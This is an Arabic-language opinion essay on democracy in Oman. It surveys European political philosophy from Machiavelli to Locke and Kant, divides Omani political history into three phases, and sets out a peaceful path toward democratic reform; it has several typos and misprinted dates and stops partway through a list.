

ملخص :

تتناول هذه الورقة موضوع الديمقراطية في سلطنة عمان ، ولكن قبل الدخول لهذا الموضوع تبدأ بالتمهيد النظري و التوسيع المفهومي للديمقراطية و ذلك عن طريق الحديث عنه بصفته ينتمي للعلوم الاجتماعية و الانسانية ، على اعتبار ان النظريات الاجتماعية تختلف جوهرياً عن النظريات الفيزيائية و الطبيعية ، و هو ما يستتبع الحديث عن المافق الشمولي الواسع للمصطلح و عدم إقتضاره على البعد السياسي. كما تتناول الفقرة الثالثة بشكل مختصر و سريع تاريخ الفلسفة السياسية و التحولات التي طرأت على الرؤية العامة تجاه أنظمة الحكم السياسي و تجاه وظائف الدولة و مهامها ، و ذلك عن طريق أعمال الكثير من الفلاسفة الأوروبيين المؤثرين في العقل البشري ، هذه الرؤى التي أصبحت فيما بعد بمثابة رؤى كونية يتوق الانسان للوصول اليها.

في الفقرة الأخيرة ، يتم التطرق الى الوضع السياسي في سلطنة عمان ، و تقديم ما يشبه خارطة طريق سلمي ، للانتقال بها الى المرحلة الديمقراطية الاولى و التي تعتبر مرحلة ضرورية لا مناص من الدخول فيها و بشكل عاجل ، اذا اخذنا في الحسبان ربيع الثورات العربية المتزايد.

مستقبل الديمقراطية في عُمان

تبدو الخيارات الشعبية العالمية و العربية على حد سواء ، انها قد بدأت في الاتجاه نحو الخيار الديمقراطي (1) من ضمن الخيارات الكثيرة المتاحة و الموجودة ، غير ان هذا الخيار الديمقراطي يحتاج لتوسيع في المفهوم ليتناسب و المرحلة القادمة. تناقش هذه الورقة فكرة تتكون من أربعة أقسام :

(1) الديمقراطية بين العلوم الطبيعية و الإنسانية.

(2) الديمقراطية من السياسي إلى الشمولي.

(3) تحولات الفلسفة السياسية.

(4) مستقبل الديمقراطية في عُمان.

الديمقراطية بين العلوم الطبيعية و الإنسانية : تنتمي الديمقراطية كنظرية سياسية و ممارسة حياتية في المقام الأول الى المجال الاجتماعي و الإنساني ، هذا المجال المتغير بشكل مستمر ، و المثلون بشكل دائم. ذلك ان "النظرية السياسية تنشأ كاستجابة لأسئلة مستمرة [و متجددة] عبر الزمن" (2) تتسم هذه الأسئلة بأنها تاريخية : أي إنها تتناول مسائل سياسية و اجتماعية ملاصقة للإنسان ، و تؤثر في حياته و تعاملاته اليومية و ليست منعزلة عنه. و هذا يعني - من ضمن ما يعنيه - بأننا أمام نظرية تؤثر في المجتمع و تتأثر به و لسنا امام معادلة رياضية مجردة ، تحدث بالرغم من رأي البشر فيها و تحتاج إلى اكتشاف و تضافر جهود الكثير من العلماء و الباحثين. بمعنى آخر : إنها ليست نظرية جاهزة تنتظر التطبيق الحرفي المصروف و المباشر بل هي "سيناريو يهدف الى إبراز العوائق التي يجب مواجهتها" (م س ، ص 34) من أجل خلق عالم أفضل. و كمثل في هذا السياق ، نستحضر النظريات الفيزيائية التي توصل إليها الانسان بعد جهد بحثي طويل كالجاذبية مثلاً ، و التي غيرت الكثير من الرؤى الوجودية حول العالم و الانسان و مكانته. فعلى مستوى الانسان العمومي نجد ان هذه النظرية لم تؤثر و بشكل حاسم في حياته اليومية ، بل نستطيع القول بأن الكثير من البشر بعيدين عن فكرة الجاذبية التي لا تمس حياتهم اليومية بشكل مباشر. و كمثل آخر على ذلك ، نستطيع الاستدلال على الاستيراد الصناعي ، الذي

نجدّه يتعايش مع جميع السياقات البشرية تقريباً بغض النظر عن المرجعية الاعتقادية التي ينتمي لها المجتمع و ساكنيه ، و هذا مؤشّر على ان هذا التعايش المادائي لا يحتاج الى جهد كبير او تغيير شامل في مسار المجتمع ليتم تقبله او مواكبته. غير اننا في سياق النظريات الاجتماعية كالديمقراطية و العلمانية... وغيرها، نجد انفسنا امام مقاومة متعددة المصادر □ و الاهداف : فردية او مجتمعية و بشكل خاص عندما يتعلق الامر بالاستيراد ، او محاولة تطبيق هذه النظريات الاجتماعية على مجتمع جديد. و السبب الرئيسي لهذه المقاومة هو ان هذه النظريات تتطلب تغييراً كبيراً في عقلية المتعاملين بها ، و لا تكتفي بالوقوف منها موقف المحايد او المتفرج او ربما الى حد كبير موقف المستخدم النفعي تجاهها دون التساؤل عن خلفياتها المتعددة التي أدت الى ظهورها بهذه الهيئة الوظيفية دون تلك. غير ان هذه المتفرقة الضرورية في حالة الديمقراطية لا تعني بأي حالٍ من الاحوال تعذر تطبيقها في المجتمعات العالم المثلية ، او جعلها بمثابة عُذر تتذرع به بعض المنظمات للمحافظة على "خصوصيتها" الوهمية ، □ بل تعني بانها تحتاج للكثير من الجهود التحديثية الفكرية الموازية للجهود التحديثية الشكلانية.

الديمقراطية من السياسي إلى الشمولي : وصلت الديمقراطية إلى العالمين العربي والإسلامي عن طريق المخطط السياسي ، خط الحروب ، و التهديدات ، خط الرئاسة الأمريكية الساعية إلى تحسين صورتها في العالمين العربي والإسلامي ، و الساعية أيضاً إلى بسط أجنحتها الرمزية على كل العالم ، □ وهي بهذا الاستقبال انحصرت في الشأن السياسي ، أي : الانتخابات ، تغيير المحاكم مع تداول السلطة... الخ ، هذا لا يعني بأي حالٍ من الأحوال انتقاص أهمية الشأن السياسي ، بل يعني بالدرجة الاولى ان التعامل معها قد تم بصورة مجتزأة ، و منقوصة ، ذلك انها عبارة عن حزمة كاملة من المعتقدات و الممارسات المستمرة التي لا تقتصر فقط على شأن معين من شؤون الحياة بل تمتد الى جميع الجوانب : الفكرية ، التربوية ، الاجتماعية ، الدينية... الخ. في هذا السياق ينبغي الإشارة الى ان الديمقراطية هي قبل كل شيء احترام الآخرين ، و معتقداتهم ، و سلوكياتهم ، مهما كانت هذه السلوكيات غير مقبولة عند الأغلبية في المجتمع ، ف المجتمع عبارة عن نسيج اجتماعي متفاوت ، و متداخل ، يحتوي على عددٍ لانهائي من القيم التي بالضرورة ستأتي بسلوكيات جديدة.

عدم القبول بمعتقدات الآخرين ، و سلوكياتهم ، و اقتصار الحياة على اعتقادات و سلوكيات معينة ، يهدد حُلم الديمقراطية بالتحقق ، بل و يجعلها ديكتاتورية من نوع آخر. تلتقي هذه الديكتاتورية المجتمعية ، مع الديكتاتورية السياسية التي رفضها الخيار الشعبي سابقاً ، بل و تزيد عليها من حيث انها تمارس القهر و الظلم بشكلٍ خفي ، لا عنف فيه ، الأمر الذي يؤدي إلى اللجوء لخيارات سياسية و اجتماعية غير مرغوب فيها.

من أسس الديمقراطية هي القبول بالاعداء ضمن الاطار السلمي ، أي قبول ما لا نرغب به من المناحية الفكرية و الاعتقادية شريطة التمتع بالحقوق الطبيعية التي تشمل كل أبناء المجتمع ، وهذا ينطبق على الاعتقادات الدينية و السياسية وغيرها. فمن المناحية الدينية - على سبيل المثال - لا يمكن الحديث عن الديمقراطية في ظل توجه لإنشاء دولة تقوم على المبادئ الدينية الصرفة ، فالدولة الديمقراطية تقوم على مبدأ المواطنة الذي لا يميز بين المواطنين إطلاقاً طالما يحملون جنسية الدولة بغض النظر عن الأصول الاجتماعية و الخلفيات الاعتقادية. ففي المجتمعات المسلمة غير الديمقراطية و ما أكثرها ، لا يمكن للمواطن المختلف دينياً ان يتبوأ المناصب العُليا للدولة. من الضروري ان تكون هذه المساواة على أساس المواطنة بدون حدود ، او سقف نهائي ، فهي مفتوحة ، من أسفل المهام الوظيفية الى أعلاها ، أضف الى ذلك و على المستوى الديني أيضاً فالديمقراطية في هذا السياق تطرح خيار انعدام الهرمية او التراتبية في الشؤون الدينية على مستوى تكوين الآراء و القناعات □ لتصبح هذه الأخيرة شأنًا ذاتياً يتكون بناءً على التجربة الشخصية التي لا تخضع لما يسمى بالفتاوى في المجال الديني التي تأتي من طبقة الفقهاء التي تخضع بدورها للكثير من الاعتبارات السياسية و المجتمعية ، الصريحة و الضمنية ، ذلك ان التجارب الذاتية و تباينها من شخصٍ لآخر كفيلة بتوليد آراء جديدة ، تقوم على التجربة الروحية و الجسدية للشخص ، و لا تقوم بالضرورة على التلقين و الاستبطان.

تمتد الديمقراطية أيضاً للمجال الاجتماعي ، و تحديداً للأسرة و العلاقات الابوية و العائلية التي تتسم ولو بشكلٍ ضمني في معظم الاحوال بالكثير من الهرمية و إعتبار الرجل هو الحامي لحمى العائلة ، وهو صاحب القول الفصل في الكثير من شؤونها ، لتأتي الديمقراطية كعامل تقويض لهذه السلطة من حيث البنية الجوهريّة العميقة ، منتهجة بذلك اسلوباً جديداً في التعامل العائلي الذي يقوم على الحوار و حرية تكوين الآراء الشخصية بعيداً عن السلطة الأبوية التي تسعى في الكثير من وجوهها الى نقل او توريث الآراء الاجتماعية و الدينية و الشخصية الى الابناء.

تحولات الفلسفة السياسية :

نشأت الفلسفة السياسية ، بوصفها تفكيراً بشرياً في أنظمة الحكم و كيفية إدارة الشؤون السياسية العمومية ، بنشأة المدينة و استقرار ساكنها و اتساع اختلافهم الاجتماعي و الفكري. فقبل الاستقرار لم يكن التفكير المنهجي المنظم بشكلٍ عام و التفكير

السياسي بصفة خاصة يحظى بالأهمية الكافية لدى الافراد ، ذلك ان التفكير السياسي لا ينشأ الا بالاستقرار و المتفرغ بعد تجاوز الحاجات البشرية الاساسية و الضرورية : كالمسكن و المأكل...وغيرها.

واذا كانت الكثير من الادبيات التي تبحث في هذا المجال تشير وبشكل مستمر الى ارتباط الفلسفة السياسية بالمعنى السابق بالمدينة اليونانية وبتلك النقاشات و المحاججات المستمرة التي حدثت بين الفلاسفة اليونانيين ، فإن التجمعات السكانية المختلفة التي سبقت المدينة اليونانية ربما كانت تفتقد الى هذه المسجلات بشكلها المدون ، او كانت تدار بالنظام العائلي المرتبط بالحق الإلهي للحاكم ، غير ان ما يميز الحالة اليونانية هو إخضاعها منطق الحكم و اسلوبه للنقاش البشري و التداول العمومي الذي يخضع بالضرورة للتعديل المستمر حسب الاطار الذي يتم الاتفاق عليه فيما بين افراد المدينة.

تنقسم الفلسفة السياسية حسب الادبيات المعنية الى قسمين رئيسيين :

(1) □ □ □ الفلسفة الكلاسيكية : وهي تبدأ حسب بعض المؤرخين من سقراط الأثيني (391-469 ق م) لتمتد الى الفلسفة السياسية الحديثة في القرنين السادس عشر و السابع عشر (3) و المقدمات السابقة لهذه الفترة و تحديداً لدى مكيافيللي (1469م-1526م) صاحب كتاب "الأمر" ذات الصيت و من جاء بعده من الفلاسفة الأوروبين. تتسم هذه الحقبة الكلاسيكية (4) بأن المفكرين و الفلاسفة " تناولوا السياسة من منظورات فلسفية او أخلاقية او دينية " (التفكير السياسي ، م س ، ص 243) ، و بصيغة أخرى كانت السياسة تأملية ، تسبح في الفضاءات المعرفية الدينية و الاجتماعية التي تضع الكثير من الفروقات الجوهرية بين البشر على أسس إيمانية ترتبط بالمتقوى.

(2) □ □ □ الفلسفة الحديثة : تضاهرت الكثير من العوامل الجيو-سياسية و الكثير من الجرة المعرفة الضرورية التي تحلّى بها الفلاسفة و المفكرين الأوروبين في فترة ما بعد روما الاكويني (1225م - 1274م) بهدف الخروج من سيطرة الكنيسة على مجريات الحياة العامة و القيام بعملية فصل التعليمات الدينية عن الإجراءات السياسية التي تقوم بها القيادة السياسية ، ذلك ان السياسة لا تقوم على النصوص الدينية بل تقوم على الوقائع البشرية المستجدة التي تقوم بدورها على العقل البشري. تعددت الأدبيات السياسية في تلك الفترة و تباينت ، وبشكل خاص مع الأثر الكبير الذي جاء به مكيافيللي و كيفية طرحه للواقعية السياسية ، و المنفعة تحديداً ، التي لا تقوم بالضرورة على أسس أخلاقية بقدر ما تقوم على أسس مصلحية تهدف الى السيطرة على الشعوب. " لا ينبثق علم السياسة بحسب مكيافيللي من الفلسفة الاخلاقية و لا من ابحاث نظرية في القانون الطبيعي و لا عن فهم لللاهوت ، بل عن دراسة سياسات حقيقية ينخرط فيها رجال يتمثل هدفهم الرئيسي في إحراز السلطة ، واستخدامها في خلق مجتمعات تخدم المصالح الجوهرية لشعوبهم" (التفكير السياسي، م س ، ص 250). يندمج الحظ مع العنف بصورة كبيرة ، في نظر مكيافيللي ، مع الاعتراف بعدم "يقينية الحظ" □ ذلك ان الأمر يجب أن "يكونوا قادرين على عمل ما هو ضروري للبقاء ، بما في ذلك العنف ضد أعدائهم" (م س ، نفس الصفحة).

اذا كانت الرؤية السابقة قد بنيت على اساس الواقعية السياسية فإن اللاهوتيان : مارتن لوتر (1483م - 1546م) و جون كالفن (1509م - 1546م) قد وضعا " أساس لاهوتي للسياسة " يقوم هذا الأساس اللاهوتي على فرضية " الخطيئة الاصلية للإنسان" التي لا تدع للأعمال البشرية أية قيمة ذلك ان " الأعمال او استحقاقات القديسين التي تمنح عن طريق صكوك الغفران ، ليست هي التي تبرئ الانسان امام الله ، ولكن ما يبرئنا هو الايمان و حده ، و الايمان هبة من الله ، وليس شيئاً يستطيع ان يخلقه الانسان لنفسه" (تاريخ الفلسفة السياسية ، م س ، ص 463) ، ينطلق اللاهوتيان بالرغم من الاختلافات الطفيفة بينهما من تعاليم القديس بولس و القديس اوغسطين فهما "يتصوران أنفسهما ببساطة بأنهما شهدان على الحقيقة المتاحة لكل الناس في الكتاب المقدس" (م س ، ص 467). يعيش الانسان حسب تصورهما في مملكتين : الحكومة الروحية : وهي التي يدرب الضمير فيها على الورع وعبادة الإله ، و الحكومة المدنية : تلك التي يتعلم بواسطتها الفرد الواجبات التي يجب ان تؤديها من حيث اننا أناس و مواطنون ، فالإنسان بهذا المعنى " حر تماماً في المملكة الروحية ، وهو أسير تماماً في المملكة الدنيوية" (م س ، ص 469). لا تعتبر هاتان المملكتان منفصلتان بل هما متكاملتان "فكلتاهما مملكة الله ، و كلتاهما تعبير عن عنايته و اهتمامه بالناس" (م س ، ص 470)، تأتي أهمية النظرية التي جاء بها اللاهوتيان المصلحان من حيث ان للدولة "وظيفة مزدوجة ، اذ ان لها واجبات تجاه المجتمع ، و تجاه الكنيسة" (م س ، ص 467) وهو ما يعني إحداث قطيعة مقارنة مع الفكر اللاهوتي للقرون السابقة ، فاللاهوت يهتم بمسائل الايمان ، و سلطته هي الكتاب المقدس الذي ليس على الاطلاق كتاباً سياسياً ، و بالتالي فإن اللاهوتي ليس مؤهلاً لممارسة السلطة السياسية.

هوبز ، المهندس الرئيسي لليبرالية الحديثة :

بمجيء توماس هوبز (1588م - 1679م) و بعد اطروحاته المشهيرة المثيرة للجدل آنذاك "اتخذت العلاقة بين المواطنين و دولتهم شكلا جديداً في مواجهة الصراعات التي تفتشت في مجتمعه" وفي الكثير من المجتمعات المختلفة (التفكير السياسي ، م س ، ص 277) ، وذلك عن طريق ضمان الحقوق التي امدت الناس بفرصة إتخاذ القرارات المعيشية و الحياتية بشكل منفرد و حر للجميع ، وهو ما يعني "نقد طرق الحياة التقليدية الموجودة" او "إعادة تشكيلها من جديد" (م س ، ص 278) ، وحسب وجهة النظر هذه فان الحرية الفردية التي تعني "المساح للفردي باختيار مهنته و معتقداته الجوهرية و من أهمها حق التملك اضافة الى بعض الحقوق السياسية الضرورية مثل : حرية الاعتقاد و التعبير و تكوين الجمعيات و التكوين الحر للأفكار و غيرها ، اصبحت هذه القيم ضرورية في بناء الدولة و الفردي بالاضافة الى قيم أخرى لا تقل أهمية عنها مثل :

(1) الاستقلال : التي تعني بأن الافراد ينبغي ان يمتلكوا حرية اتخاذ قرارات رئيسية تتعلق بحياتهم الشخصية.

(2) الخصوصية : و هي تشير الى مساحة او مجال خارج منازل الآخرين او الدولة ، و هي فضاء يمكن للأفراد العيش فيه كما يريدون ، وهي تعني هنا بأن الدولة او الآخرين يجب ان يسمحوا للآخرين بالاعتقاد في افكارهم الخاصة.

(3) التكافؤ : وهي تمد جميع المواطنين بحقوق مماثلة ، وبالتالي بحرية متكافئة.

بهذا المعنى فان " الحرية للأفراد أهم مما هي للجماعة" (م س ، ص 280) و مكمن هذه الأهمية هنا يأتي من أن الأفراد و عن طريق مساحة الحرية الموجودة لديهم بإمكانهم إجتراح آفاق جديدة في المجالات الحياتية المختلفة ، و هو ما يمتد للدفاع عن الطبقة المتوسطة التي تعتبر بمثابة "الجيش الداعم للحرية".

من اهم الماسئلة الوجودية و السياسية التي كان يسعى هوبز ، بناء على سياقه المعرفي و التاريخي ، للإجابة عليها او لطرح حلول و مقترحات لها هي : كيف يمكن إعادة تكوين العلاقات البيئية في المجتمع بطريقة جديدة لتفادي الحرب و تحقيق السلم ؟

يفترض هوبز بأن الحياة الانسانية ، قبل وجود مجتمع منظم و قبل ان تكون هناك حكومة و قبل ان يكون هناك اي شكل من القوانين ، كانت تعيش في حالة الطبيعة و هي تعني "بأن الانسان يحركه ميل عام تشترك فيه الانسانية كلها ، أي رغبة دائمة لا تهدأ في حيازة سلطة إثر سلطة ، و هي رغبة لا تنقطع الا بالموت فقط" (II) تشكل هذه الرغبة الدائمة تهديداً عارماً باندلاع حرب بلا نهاية ما لم توضع هذه الرغبة تحت السيطرة ، ذلك "ان الناس الذين يعيشون في اوقات معينة من دون سلطة مشتركة ترهبهم ، يكونون في حال تسمى الحرب ، و هذه الحرب هي حرب الجميع ضد الجميع" (المجتمع المدني ، م س ، ص 151) ، وبالتالي ستندم كل مشاهد الحياة و طرق المعيشة اليومية و المستقبلية ، و للخروج من حالة الطبيعة التي بسببها يخسر الجميع كل شيء على الناس "التخلي عن الاشياء كلها و ان يقنعوا بدرجة محدودة من الحرية" (م س ، ص 152) ، بتصريف بسيط و هو ما يعني هنا وجود "قوانين يتوجب على الناس من خلالها ان يتعلموا كيف يتعاملون مع بعضهم البعض ، على نحو عادل و الما سيلجئون الى العنف في حل خلافاتهم" (التفكير السياسي ، م س ، ص 295) الامر الذي يجعل النوازع الطبيعية كالتحيز و المحاباة و الغرور و الانتقام هي التي تسيطر على التعاملات اليومية الانسانية ، تأتي هذه القوانين في اطار ما اسمها بالدولة او الكومنولث او بصيغة أخرى اللويثان ، وهي تأتي تحديداً عندما "يتفق جميع أعضاء المجتمع على وضع السلطة الخاصة بحكم المجتمع في يد رجل واحد ، او مجلس واحد" (م س ، ص 297) و فعل الموافقة او الاتفاق هذا ينبثق من خلال المقترح بالصيغة التالية : "انا افوض هذا الرجل او هذا المجلس ، و اترك له حقي في الحكم ، بشرط ان تعطوه انتم أيضاً هذا الحق ، و تفوضوه في أعماله بالطريقة نفسها" (م س ، ص 297) ، لا يعني هذا التفويض و جود سلطة مطلقة للحاكم او المجلس تتغلغل في ثنايا المجتمع او اضراده ، بل يعني ان على الدولة ان "تتبع الطريق الذي يعُلي من شأن العدالة و الانصاف" (م س ، ص 298).

سبينوزا : الدولة وجدلية الحرية :

يعتبر موضوع الحرية و الحدود الفاصلة بين مهام الدولة و حرية المواطنين هو الموضوع الرئيسي الذي استحوذ على الجانب السياسي من تفكير سبينوزا (1632م - 1677م). و اذا كان الهاجس الامني هو المسيطر تقريباً على الاطروحة الهوبزيه ، فان سبينوزا ينظر للحرية بالمعنى الشمولي العام كأساس للدولة ، فهذه الحرية لا تقتصر على الجانب السياسي فقط او الديني حصراً ، بل تمتد لتشمل كل الجوانب الحياتية و المعيشية في أدق تفاصيلها. فمن خلال الحرية يتمكن الانسان من التوصل الى تأويله الخاص في الكتب الدينية المقدسة ، التي تقوم على الحرية المطلقة في استخدام العقل بعيداً عن الوصايا الكنسية التي يتم من خلالها إجبار الانسان على اعتناق تأويل معين و نفي المستويات التأويلية الاخرى . و هو ما يمتد الى الجانب السياسي حيث ان الحرية هنا تعني اختيار القرارات

المفردية بشكل ديمقراطي تقوم على العقد الاجتماعي المتفق عليه بين المواطنين.

لوك: الحكومة و السلطة المحدودة :

من الممكن اعتبار أطروحات الفيلسوف و الطبيب الانجليزي جون لوك (1632م-1704م) بمثابة الأطروحات المضادة لهوبز. فإذا كان هوبز في إحدى أطروحاته قد توصل الى ضرورة "إرساء نظام ملكية مطلقة ، تقوم على رضا المجتمع ، فان لوك قد سعى الى اقامة سلطة الملك بايعاز من البرلمان ، وهو ما يعني بأن البرلمان المنّخب هو المصدر الرئيسي للسلطات في الحكم" (التفكير السياسي ، م س ، ص 327) ، مما يعني بأن صلاحيات الملك محدودة و هو الامر الذي جعل "لوك" يقترح حكومة ذات سلطة محدودة ذلك ان الحكم القائم على "مفهوم الفصل بين السلطات من شأنه ان يشكل حدوداً او قيوداً على السلطة و ضمان عمل الحكومة ، بحيث تُصان حرية الناس على المدى الطويل" ( م س ، ص 345). تنقسم الحكومة حسب "لوك" الى ثلاث وظائف: الوظيفة التشريعية ، التنفيذية ، و الفيدرالية. فإذا كانت الفيدرالية تتعلق بوضع السياسات الخارجية و استخدام قوة الحرب و السلام ، فان السلطة التشريعية التي تعتبر في وجهة نظر "لوك" بأنها السلطة الماسية ، تقوم بسن القوانين و التشريعات ، فهي "تقوم باقرار حقوق المواطنين عن طريق قوانين معروفة و نافذة ، ومن خلال قضاء معروضين و مفوضين" ( م س ، ص 346). تخضع السلطة التشريعية لكي لا يساء استخدامها للكثير من الضوابط و الاشتراطات ، اهمها :

(1) اذا كانت سلطة المشرعين مستمدة من استمرار الثقة التي يمنحها اياها منتخبوهم من المواطنين فان هؤلاء المواطنين لهم الحق في "إزالة او تغيير" السلطة التشريعية اذا انتهكت تلك الثقة.

(2) تأسيس جهة تنفيذية "منفصلة" من شأنها تنفيذ القوانين التي تمررها السلطة التشريعية.

وكما تخضع السلطة التشريعية للعديد من الاشتراطات فان السلطة التنفيذية ايضاً من الممكن تقييدها بواسطة الشعب.

لم تكن المحطات السابقة التي تم التطرق فيها بشكل مختصر و سريع الى الاعمال و التنظيمات المفصلية لبعض المفكرين الأوربيين الماكجزء من مسيرة طويلة ومعقدة ، و حاسمة ، كان لها أثر كبير و بالغ على الانسان بشكل عام و التاريخ السياسي و الفكري بشكل خاص. هناك الكثير من المحطات الأخرى الهامة التي لم تذكر في سياق هذا الاستعراض لبعض المحطات ، و هو لا يعني التقليل من أهميتها بل بالعكس فهي لها أثر كبير على التصورات و المفاهيم الانسانية ، كالأطروحات الكانطية (1724م-1604م) التي تركزت على الاستعمال العمومي للعقل الانساني بعيداً عن الموصاية المفروضة من قبل السلطات الاجتماعية التقليدية ، و ضرورة تحلي الانسان بالاستنارة التي تقضي بضرورة "تخليص الانسان من الخرافة" التي تضعنا بدورها تحت سيطرة الآخرين الذين يرضون علينا أفكارهم و يجبروننا على تقبل معتقداتهم بدون مسائلة. ولتحقق هذه الاستنارة يجب على الانسان ان يوسع أفكاره و مصادره المعرفية التي ينتج عنها بالضرورة "الفكر المتسع" الذي يقبل بالآخرين و آرائهم المختلفة. أدت هذه النظريات و الرؤى وغيرها في جزء كبير منها و بفعل التراكم الزمني و المعرفي الى نشوء مجتمع منفصل عن الدولة ، داخل الدولة ، يتمتع بالاستقلالية التامة ، من حيث الأنشطة التي يقوم بها أفرادها ، و من حيث توجهاتهم ، و هو ما سمح للمنتمين لهذا الفضاء بالقيام بالكثير من الفعاليات التي تختلف مع التوجه الرسمي للدولة ، معلنة بذلك قيام توجهات لا تتطابق بالضرورة مع التوجه الحكومي.

مستقبل الديمقراطية في عُمان :

لم يعد الحديث عن الديمقراطية في العالمين العربي و الإسلامي بصيغة الإشكاليات كافياً ، كما لم تعد مناقشة إمكانيات تحقيقها في هذه السياقات أمراً مقبولاً ، و بشكل خاص بعد التحولات السياسية العربية التي أصطلح على تسميتها بربيع الثورات العربية ، بل ينبغي تجاوز هذه المفردات المترددة و الخجولة الى الحديث عن مستقبلها و وضع خارطة طريق للدخول إليها و التحول نحوها بشكل سلمي ، ذلك ان الكيانات السياسية تمر بمرحلة تحول ضرورية ، منها ما يأتي بطرق سلمية متفق عليها من قبل المواطنين ، بناء على فكر مؤسساتي يعرفه الجميع و تشارك فيه جميع الطبقات الاجتماعية ، و منها ما يتم التوصل إليه بطرق غير مشروعة تولد لاحقاً الكثير من العنف و الاضطرابات. تعتبر الأنظمة السياسية شأنها في ذلك شأن الأنظمة الفكرية و الفلسفية و العلمية... الخ ، لها لحظة ولادة في التاريخ ، و نشوء ، و تبلور ، و نهاية. وهو ما يعني في هذا السياق بأن كل نظام - تحت مختلف التسميات و العناوين - لا يمكنه ان يستمر الى ما لا نهاية ، ذلك ان هذه الأنظمة أو جدها الانسان ، لأجل خدمته ، و رضاهيته في المقام الاول ، و ليست للتأبيد المستمر. فهذه الأنظمة تتعرض و بشكل طبيعي لما يسمى بالانسداد التاريخي ، هذا الانسداد الذي لا يمكنه تقديم حلول للأزمات الموجودة في مرحلة زمنية و معرفية معينة ، لذلك ينبغي إستبدالها بأنظمة حكم سياسية أخرى أكثر قدرة على تقديم الحلول

للوصول الى هدف إنشاء الدول : وهو رفاهية الانسان و إزدهاره في المقام الاول. فعلى المستوى السياسي نجد الكثير من الماطر وحات (2) التي تقول بأن النظام الديمقراطي الغربي- الامريكي ، هو نظام الحكم الأخير ، الذي يساهم في رفاهية الانسان و حريته ، بل و هو المدخل الاساسي للمساواة في الحقوق و الواجبات ، المختلفة ، وبالتالي هو نظام الحكم الاخير الذي لن يستطيع الانسان التوصل الى أفضل منه ، مما يعني بأننا امام نهاية التاريخ بالمعنى المجازي بالطبع ، و ليس بالمعنى الحرفي السائد.

في السياق العالمي و العربي على حد سواء ، اثبتت الكثير من الكيانات السياسية في فترة السبعينات ، إبان تصاعد المد اليساري الثوري العالمي ، و لم تكن سلطنة عمان بمعزل عن هذه التحولات فهي اثبتت بالمعنى الحالي في العام 1970م.

إمكاننا ، حسب معيار التحولات السياسية التي تطرأ على أنظمة الحكم السياسية و التي تستتبعها بالضرورة تحولات موازية ، القول بأننا أمام تقسيمات تاريخية سياسية متفاوتة لعُمان ، تبدأ بعد فترة دخول الاسلام الى عمان ، وذلك على إعتبار ان الفترة السابقة كانت شبه مجهولة من حيث الكثير من النواحي و من بينها بالطبع نظام الحكم السياسي. فالمعلومات التاريخية المتوفرة لا تتطرق لتلك الفترة الا نادراً و بنوع من الضبابية و الغموض ، و هو ربما و ضع طبيعي في ظل و جود ثقافة شفوية و ايديولوجية تنظر للإسلام كبداية للتاريخ السياسي العُماني ، وذلك حسب المقترحات الآتية :

1) عُمان الأولى : تبدأ عُمان الاولى بالمعنى السياسي (3) من فترة الامامة الاولى و التي إمتدت من فترة الامام الاول : الجلندي بن مسعود (132هـ أو 135هـ) و حتى العام 1970م ، مروراً بوصول السيد : احمد بن سعيد (1741م-1783م) مؤسس دولة سلالة البوسعيد الحاكمة في عُمان. تتسم هذه الفترة الاولى بأنها عبارة عن نظام معرفي واحد تتخلله الكثير من التحولات الجزئية التي لا تخرج عن النظام العام ، بل تبقى ضمن الاطار الثقافي العُماني و الاعتقادي الاسلامي ، الممتزج بطبيعة الحال بالرؤى و الافكار المجتمعية المختلفة. ففي هذه الفترة الطويلة تراوح المستوى السياسي و العسكري العُماني بين القوة و الضعف حسب الظروف و السياقات المتنوعة ، إلا ان الثابت - تقريباً - بأن نظام الحكم السياسي و كيفية التوصل له كانت شبه متفق عليها و ذلك حسب التقاليد الدينية الإسلامية الاباضية. غير انه مع وصول الامام احمد بن سعيد للحكم في عمان ، بدأت "اول بوادر انفصال ضمني بين النظامين السياسيين يرى النور" (4) ، إذ تحول نظام الحكم في جزء منه بعد وفاة هذا الامام الى نظام السلطنة الوراثي السلافي ، و ذلك بشكل مواز مع وجود نظام الامامة و ما بينهما من تناقض حاد و بشكل خاص مع الامام : عزان بن قيس البوسعيدي (1871-1896م) ، ليتواصل الصراع المهلك بين الطرفين لفترة طويلة بين كر و فر لينتصر قبل بداية السبعينات نظام الحكم السلطاني على النظام الإمامي بدعم و اضح و صريح من الحكومة البريطانية.

2) عُمان الثانية منذ العام 1970م : دخلت السلطنة ، بتضاضر الكثير من العوامل السياسية و الاقتصادية العالمية و المحلية ، الى مرحلة سياسية جديدة تختلف عن المراحل السياسية السابقة من حيث بنية نظام الحكم ، و التوجه الفلسفي لهذا النظام. ففي المرحلة الثانية من الدولة العُمانية كانت المؤسسات العُمانية في طور التشكل و التبلور محاولة الدخول الى مرحلة جديدة ، غير ان هذه الرغبة و اجهتها الكثير من العوائق البنيوية الداخلية و الخارجية. امتدت هذه التحولات السابقة الى مراحل و طبقات مختلفة ، فهي لها حدود زمانية و مكانية ، وهي كذلك لم تكن شاملة ، بمعنى آخر فإن التحولات التي حدثت لم تكن كافية فهي مرتبطة بلحظتها الزمنية السابقة ، و مسجونة ضمن إطارها الفكري و السياسي.

3) حُلم عُمان الثالثة : جاءت أحداث 25 فبراير 2011م في سلطنة عُمان على وقع الكثير من العوامل الداخلية و الخارجية ، أهمها : وقع ربيع الثورات العربية على المستوى الخارجي ، و الانسداد التاريخي المصاحب للنظام السياسي الداخلي الذي كان و ما يزال بحاجة الى دفعات مهمة لتخطي الحواجز السابقة ، غير ان هذه الأحداث لم تستطع ، بفضل الكثير من العوامل : النفسية و المجتمعية و الاعلامية ، ان تساهم في ولادة عُمان الثالثة و التي تحولت الى حُلم لم يتحقق بعد. ذلك ان هذه الولادة تحتاج لجهود تحديثية ضرورية على جميع المستويات و أهمها الجوانب التشريعية و القانونية و الفكرية و التعليمية و عدم الاقتصار على الجانب السياسي. فالجانب السياسي يبقى بمثابة نتيجة لمقدمات فكرية و مجتمعية مهمة جدا ، تضمن له الاستمرارية و الحيوية. إنه بمثابة جبل الجليد الذي يخفي أكثر مما يُظهر. من الممكن إجمال هذه النقاط في الملاءات الديمقراطية التالية :

لاءات الديمقراطية : تفترض الديمقراطية المساواة التامة بين الأشخاص في كل المواضيع ، وهي تعني نفي النقاط التالية :

1) لا وحي : مع الديمقراطية لا وجود للوحي ، او أي مصدر للمعرفة ، خارج الطرق البشرية المتعارف عليها ، و الممكن تفسيرها ، من

بحث وإجتهد وعمل ، و بالتالي يستطيع جميع المواطنين الوصول للمعرفة و عدم إحتكارها لفئة معينة دون بقية الفئات. و هو ما يعني هنا بأن التداول شرط أساسي للمعرفة لا غنى عنه لخلق عالم يقوم على أساس التكافؤ.

